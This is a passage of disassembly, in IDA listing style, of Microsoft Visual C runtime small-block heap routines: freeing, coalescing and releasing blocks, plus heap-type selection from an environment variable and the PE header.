; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AF0 proc near ; CODE XREF: sub_41D8A0+26Ep ; sub_41D8A0+3B2p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00424B76 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 00424BF8 SIZE 0000003E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E088 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_424B1E jmp loc_424C25 ; --------------------------------------------------------------------------- loc_424B1E: ; CODE XREF: sub_424AF0+27j cmp dword_4F4E6C, 3 jnz short loc_424B94 push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_424B5D mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1C] push edx call sub_424FD0 add esp, 8 loc_424B5D: ; CODE XREF: sub_424AF0+5Bj mov [ebp+var_4], 0FFFFFFFFh call sub_424B6B jmp short loc_424B76 sub_424AF0 endp ; =============== S U B R O U T I N E ======================================= sub_424B6B proc near ; CODE XREF: sub_424AF0+74p ; DATA XREF: .rdata:0043E090o push 9 call __unlock add esp, 4 retn sub_424B6B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424AF0 loc_424B76: ; CODE XREF: sub_424AF0+79j cmp [ebp+var_1C], 0 jnz short loc_424B8F mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4F4E68 push ecx call ds:dword_4F6448 ; RtlFreeHeap loc_424B8F: ; CODE XREF: sub_424AF0+8Aj jmp loc_424C25 ; --------------------------------------------------------------------------- loc_424B94: ; CODE XREF: sub_424AF0+35j cmp dword_4F4E6C, 2 jnz short loc_424C12 push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax mov ecx, [ebp+arg_0] push ecx call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_424BDF mov edx, [ebp+var_24] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_28] push ecx call ___sbh_free_block add esp, 0Ch loc_424BDF: ; CODE XREF: sub_424AF0+D9j mov [ebp+var_4], 0FFFFFFFFh call sub_424BED jmp short loc_424BF8 ; END OF FUNCTION CHUNK FOR sub_424AF0 ; =============== S U B R O U T I N E ======================================= sub_424BED proc near ; CODE XREF: sub_424AF0+F6p ; DATA XREF: .rdata:0043E09Co push 9 call __unlock add esp, 4 retn sub_424BED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424AF0 loc_424BF8: ; CODE XREF: sub_424AF0+FBj cmp [ebp+var_24], 0 jnz short loc_424C10 mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4F4E68 push eax call ds:dword_4F6448 ; RtlFreeHeap loc_424C10: ; CODE XREF: sub_424AF0+10Cj jmp short loc_424C25 ; --------------------------------------------------------------------------- loc_424C12: ; CODE XREF: sub_424AF0+ABj mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4F4E68 push edx call ds:dword_4F6448 ; RtlFreeHeap loc_424C25: ; CODE XREF: sub_424AF0+29j ; sub_424AF0:loc_424B8Fj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424AF0 ; --------------------------------------------------------------------------- align 10h ; [00000062 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_424CA2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000003A BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424CE7 proc near ; CODE XREF: unknown_libname_6+A0p ; DATA XREF: .rdata:0043E0B4o push 9 call __unlock add esp, 4 retn sub_424CE7 endp ; --------------------------------------------------------------------------- ; [00000052 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4F4E6C, 3 jnz short loc_424D73 mov eax, dword_4F4E8C jmp short loc_424D85 ; --------------------------------------------------------------------------- loc_424D73: ; CODE XREF: .text:00424D6Aj cmp dword_4F4E6C, 2 jnz short loc_424D83 mov eax, dword_454DFC jmp short loc_424D85 ; --------------------------------------------------------------------------- loc_424D83: ; CODE XREF: .text:00424D7Aj xor eax, eax loc_424D85: ; CODE XREF: .text:00424D71j ; .text:00424D81j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4F4E6C, 3 jnz short loc_424DBF cmp dword ptr [ebp+8], 3F8h ja short loc_424DB8 mov eax, [ebp+8] mov dword_4F4E8C, eax mov eax, 1 jmp loc_424E96 ; --------------------------------------------------------------------------- loc_424DB8: ; CODE XREF: .text:00424DA4j xor eax, eax jmp loc_424E96 ; --------------------------------------------------------------------------- loc_424DBF: ; CODE XREF: .text:00424D9Bj cmp dword_4F4E6C, 2 jnz short loc_424DF7 mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_424DF0 mov edx, [ebp+8] mov dword_454DFC, edx mov eax, 1 jmp loc_424E96 ; --------------------------------------------------------------------------- loc_424DF0: ; CODE XREF: .text:00424DDBj xor eax, eax jmp loc_424E96 ; --------------------------------------------------------------------------- loc_424DF7: ; CODE XREF: .text:00424DC6j cmp dword_4F4E6C, 1 jnz loc_424E94 cmp dword ptr [ebp+8], 0 jbe loc_424E94 lea eax, [ebp-4] push eax call sub_427A50 add esp, 4 mov ecx, [ebp-4] and ecx, 0FFh cmp ecx, 6 jl short loc_424E5C cmp dword ptr [ebp+8], 3F8h ja short loc_424E5A mov edx, [ebp+8] push edx call ___sbh_heap_init add esp, 4 test eax, eax jz short loc_424E5A mov eax, [ebp+8] mov dword_4F4E8C, eax mov dword_4F4E6C, 3 mov eax, 1 jmp short loc_424E96 ; --------------------------------------------------------------------------- loc_424E5A: ; CODE XREF: .text:00424E2Fj ; .text:00424E3Fj jmp short loc_424E94 ; --------------------------------------------------------------------------- loc_424E5C: ; CODE XREF: .text:00424E26j mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_424E94 call ___sbh_new_region test eax, eax jz short loc_424E94 mov edx, [ebp+8] mov dword_454DFC, edx mov dword_4F4E6C, 2 mov eax, 1 jmp short loc_424E96 ; --------------------------------------------------------------------------- loc_424E94: ; CODE XREF: .text:00424DFEj ; .text:00424E08j ... xor eax, eax loc_424E96: ; CODE XREF: .text:00424DB3j ; .text:00424DBAj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000062 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000055 BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___sbh_verify_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424FD0 proc near ; CODE XREF: sub_424650+132p ; sub_424650+1B2p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_42502D jmp loc_4255A8 ; --------------------------------------------------------------------------- loc_42502D: ; CODE XREF: sub_424FD0+56j mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov [ebp+var_38], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_1C] mov ecx, [eax-4] mov [ebp+var_C], ecx mov edx, [ebp+var_14] and edx, 1 test edx, edx jnz loc_425177 mov eax, [ebp+var_14] sar eax, 4 sub eax, 1 mov [ebp+var_24], eax cmp [ebp+var_24], 3Fh jbe short loc_42506E mov [ebp+var_24], 3Fh loc_42506E: ; CODE XREF: sub_424FD0+95j mov ecx, [ebp+var_38] mov edx, [ebp+var_38] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_425150 cmp [ebp+var_24], 20h jnb short loc_4250E5 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4250E3 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4250E3: ; CODE XREF: sub_424FD0+F9j jmp short loc_425150 ; --------------------------------------------------------------------------- loc_4250E5: ; CODE XREF: sub_424FD0+B4j mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_425150 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_425150: ; CODE XREF: sub_424FD0+AAj ; sub_424FD0:loc_4250E3j ... mov ecx, [ebp+var_38] mov edx, [ecx+8] mov eax, [ebp+var_38] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_38] mov eax, [edx+4] mov ecx, [ebp+var_38] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_30] add eax, [ebp+var_14] mov [ebp+var_30], eax loc_425177: ; CODE XREF: sub_424FD0+7Fj mov ecx, [ebp+var_30] sar ecx, 4 sub ecx, 1 mov [ebp+var_28], ecx cmp [ebp+var_28], 3Fh jbe short loc_425190 mov [ebp+var_28], 3Fh loc_425190: ; CODE XREF: sub_424FD0+1B7j mov edx, [ebp+var_C] and edx, 1 test edx, edx jnz loc_4252F4 mov eax, [ebp+var_1C] sub eax, [ebp+var_C] mov [ebp+var_34], eax mov ecx, [ebp+var_C] sar ecx, 4 sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 3Fh jbe short loc_4251C0 mov [ebp+var_2C], 3Fh loc_4251C0: ; CODE XREF: sub_424FD0+1E7j mov edx, [ebp+var_30] add edx, [ebp+var_C] mov [ebp+var_30], edx mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_4251E2 mov [ebp+var_28], 3Fh loc_4251E2: ; CODE XREF: sub_424FD0+209j mov ecx, [ebp+var_2C] cmp ecx, [ebp+var_28] jz loc_4252EE mov edx, [ebp+var_34] mov eax, [ebp+var_34] mov ecx, [edx+4] cmp ecx, [eax+8] jnz loc_4252D0 cmp [ebp+var_2C], 20h jnb short loc_425265 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_425263 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_425263: ; CODE XREF: sub_424FD0+279j jmp short loc_4252D0 ; --------------------------------------------------------------------------- loc_425265: ; CODE XREF: sub_424FD0+234j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4252D0 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4252D0: ; CODE XREF: sub_424FD0+22Aj ; sub_424FD0:loc_425263j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_4252EE: ; CODE XREF: sub_424FD0+218j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_4252F4: ; CODE XREF: sub_424FD0+1C8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_42530A mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_42541A loc_42530A: ; CODE XREF: sub_424FD0+32Cj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42541A cmp [ebp+var_28], 20h jnb short loc_4253B3 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_425391 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_425391: ; CODE XREF: sub_424FD0+3A9j mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_42541A ; --------------------------------------------------------------------------- loc_4253B3: ; CODE XREF: sub_424FD0+386j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_4253F1 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4253F1: ; CODE XREF: sub_424FD0+404j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_42541A: ; CODE XREF: sub_424FD0+334j ; sub_424FD0+37Cj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_4255A8 cmp Dst, 0 jz loc_425597 mov eax, dword_4F4E74 shl eax, 0Fh mov ecx, Dst mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call ds:dword_4F64E4 ; VirtualFree mov edx, 80000000h mov ecx, dword_4F4E74 shr edx, cl mov eax, Dst mov ecx, [eax+8] or ecx, edx mov edx, Dst mov [edx+8], ecx mov eax, Dst mov ecx, [eax+10h] mov edx, dword_4F4E74 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, Dst mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, Dst mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, Dst mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_4254F5 mov edx, Dst mov eax, [edx+4] and al, 0FEh mov ecx, Dst mov [ecx+4], eax loc_4254F5: ; CODE XREF: sub_424FD0+50Fj mov edx, Dst cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_425597 push 8000h push 0 mov eax, Dst mov ecx, [eax+0Ch] push ecx call ds:dword_4F64E4 ; VirtualFree mov edx, Dst mov eax, [edx+10h] push eax push 0 mov ecx, dword_4F4E68 push ecx call ds:dword_4F6448 ; RtlFreeHeap mov edx, dword_4F4E84 imul edx, 14h mov eax, dword_4F4E88 add eax, edx mov ecx, Dst add ecx, 14h sub eax, ecx push eax ; Size mov edx, Dst add edx, 14h push edx ; Src mov eax, Dst push eax ; Dst call _memcpy_0 add esp, 0Ch mov ecx, dword_4F4E84 sub ecx, 1 mov dword_4F4E84, ecx mov edx, [ebp+arg_0] cmp edx, Dst jbe short loc_42558B mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_42558B: ; CODE XREF: sub_424FD0+5B0j mov ecx, dword_4F4E88 mov dword_4F4E78, ecx loc_425597: ; CODE XREF: sub_424FD0+47Ej ; sub_424FD0+52Fj mov edx, [ebp+arg_0] mov Dst, edx mov eax, [ebp+var_4] mov dword_4F4E74, eax loc_4255A8: ; CODE XREF: sub_424FD0+58j ; sub_424FD0+471j mov esp, ebp pop ebp retn sub_424FD0 endp ; --------------------------------------------------------------------------- align 10h ; [00000536 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000010F BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001EE BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000005EB BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000130 BYTES: COLLAPSED FUNCTION ___sbh_heapmin. PRESS KEYPAD "+" TO EXPAND] ; [0000061D BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp mov eax, dword_454DFC pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001DE BYTES: COLLAPSED FUNCTION ___sbh_new_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000073 BYTES: COLLAPSED FUNCTION ___sbh_release_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000157 BYTES: COLLAPSED FUNCTION ___sbh_decommit_pages. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000090 BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD "+" TO EXPAND] ; [0000006C BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003B8 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A9 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_from_page. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000164 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000237 BYTES: COLLAPSED FUNCTION ___sbh_heap_check_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427A50 proc near ; CODE XREF: .text:00424E12p ; sub_427AB0+1FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 push 0 call ds:dword_4F63A4 ; GetModuleHandleA mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jnz short loc_427A83 mov eax, [ebp+var_8] cmp dword ptr [eax+3Ch], 0 jnz short loc_427A85 loc_427A83: ; CODE XREF: sub_427A50+28j jmp short loc_427AA8 ; --------------------------------------------------------------------------- loc_427A85: ; CODE XREF: sub_427A50+31j mov ecx, [ebp+var_8] mov edx, [ebp+var_8] add edx, [ecx+3Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Ah] mov [eax], dl mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Bh] mov [eax+1], dl loc_427AA8: ; CODE XREF: sub_427A50:loc_427A83j mov esp, ebp pop ebp retn sub_427A50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AB0 proc near ; CODE XREF: sub_427CE0:loc_427D0Cp Str = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h SubStr = byte ptr -122Ch Str2 = byte ptr -1128h var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1238h call __alloca_probe mov [ebp+Str], 0 mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax call ds:dword_4F63D0 ; GetVersionExA test eax, eax jz short loc_427AFE cmp [ebp+var_88], 2 jnz short loc_427AFE cmp [ebp+var_94], 5 jb short loc_427AFE mov eax, 1 jmp loc_427CD0 ; --------------------------------------------------------------------------- loc_427AFE: ; CODE XREF: sub_427AB0+30j ; sub_427AB0+39j ... push 1090h lea ecx, [ebp+Str2] push ecx push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_4F64EC ; GetEnvironmentVariableA test eax, eax jz loc_427CA4 lea edx, [ebp+Str2] mov [ebp+var_4], edx jmp short loc_427B31 ; --------------------------------------------------------------------------- loc_427B28: ; CODE XREF: sub_427AB0:loc_427B5Ej mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_427B31: ; CODE XREF: sub_427AB0+76j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_427B60 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_427B5E mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_427B5E mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_4] mov [eax], dl loc_427B5E: ; CODE XREF: sub_427AB0+94j ; sub_427AB0+9Fj jmp short loc_427B28 ; --------------------------------------------------------------------------- loc_427B60: ; CODE XREF: sub_427AB0+89j push 16h ; MaxCount lea ecx, [ebp+Str2] push ecx ; Str2 push offset Str1 ; "__GLOBAL_HEAP_SELECTED" call _strncmp add esp, 0Ch test eax, eax jnz short loc_427B88 lea edx, [ebp+Str2] mov [ebp+Str], edx jmp short loc_427BFB ; --------------------------------------------------------------------------- loc_427B88: ; CODE XREF: sub_427AB0+C8j push 104h lea eax, [ebp+SubStr] push eax push 0 call ds:dword_4F6378 ; GetModuleFileNameA lea ecx, [ebp+SubStr] mov [ebp+var_4], ecx jmp short loc_427BB0 ; --------------------------------------------------------------------------- loc_427BA7: ; CODE XREF: sub_427AB0:loc_427BDDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_427BB0: ; CODE XREF: sub_427AB0+F5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_427BDF mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 61h jl short loc_427BDD mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 7Ah jg short loc_427BDD mov eax, [ebp+var_4] mov cl, [eax] add cl, 0E0h mov edx, [ebp+var_4] mov [edx], cl loc_427BDD: ; CODE XREF: sub_427AB0+113j ; sub_427AB0+11Ej jmp short loc_427BA7 ; --------------------------------------------------------------------------- loc_427BDF: ; CODE XREF: sub_427AB0+108j lea eax, [ebp+SubStr] push eax ; SubStr lea ecx, [ebp+Str2] push ecx ; Str call _strstr add esp, 8 mov [ebp+Str], eax loc_427BFB: ; CODE XREF: sub_427AB0+D6j cmp [ebp+Str], 0 jz loc_427CA4 push 2Ch ; Val mov edx, [ebp+Str] push edx ; Str call _strchr add esp, 8 mov [ebp+Str], eax cmp [ebp+Str], 0 jz short loc_427CA4 mov eax, [ebp+Str] add eax, 1 mov [ebp+Str], eax mov ecx, [ebp+Str] mov [ebp+var_4], ecx loc_427C40: ; CODE XREF: sub_427AB0:loc_427C66j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_427C68 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_427C5D mov eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_427C66 ; --------------------------------------------------------------------------- loc_427C5D: ; CODE XREF: sub_427AB0+1A3j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_427C66: ; CODE XREF: sub_427AB0+1ABj jmp short loc_427C40 ; --------------------------------------------------------------------------- loc_427C68: ; CODE XREF: sub_427AB0+198j push 0Ah ; Radix push 0 ; EndPtr mov edx, [ebp+Str] push edx ; Str call _strtol add esp, 0Ch mov [ebp+var_1230], eax cmp [ebp+var_1230], 2 jz short loc_427C9C cmp [ebp+var_1230], 3 jz short loc_427C9C cmp [ebp+var_1230], 1 jnz short loc_427CA4 loc_427C9C: ; CODE XREF: sub_427AB0+1D8j ; sub_427AB0+1E1j mov eax, [ebp+var_1230] jmp short loc_427CD0 ; --------------------------------------------------------------------------- loc_427CA4: ; CODE XREF: sub_427AB0+67j ; sub_427AB0+152j ... lea eax, [ebp+var_1234] push eax call sub_427A50 add esp, 4 mov ecx, [ebp+var_1234] and ecx, 0FFh cmp ecx, 6 jl short loc_427CCB mov eax, 3 jmp short loc_427CD0 ; --------------------------------------------------------------------------- loc_427CCB: ; CODE XREF: sub_427AB0+212j mov eax, 2 loc_427CD0: ; CODE XREF: sub_427AB0+49j ; sub_427AB0+1F2j ... mov esp, ebp pop ebp retn sub_427AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: 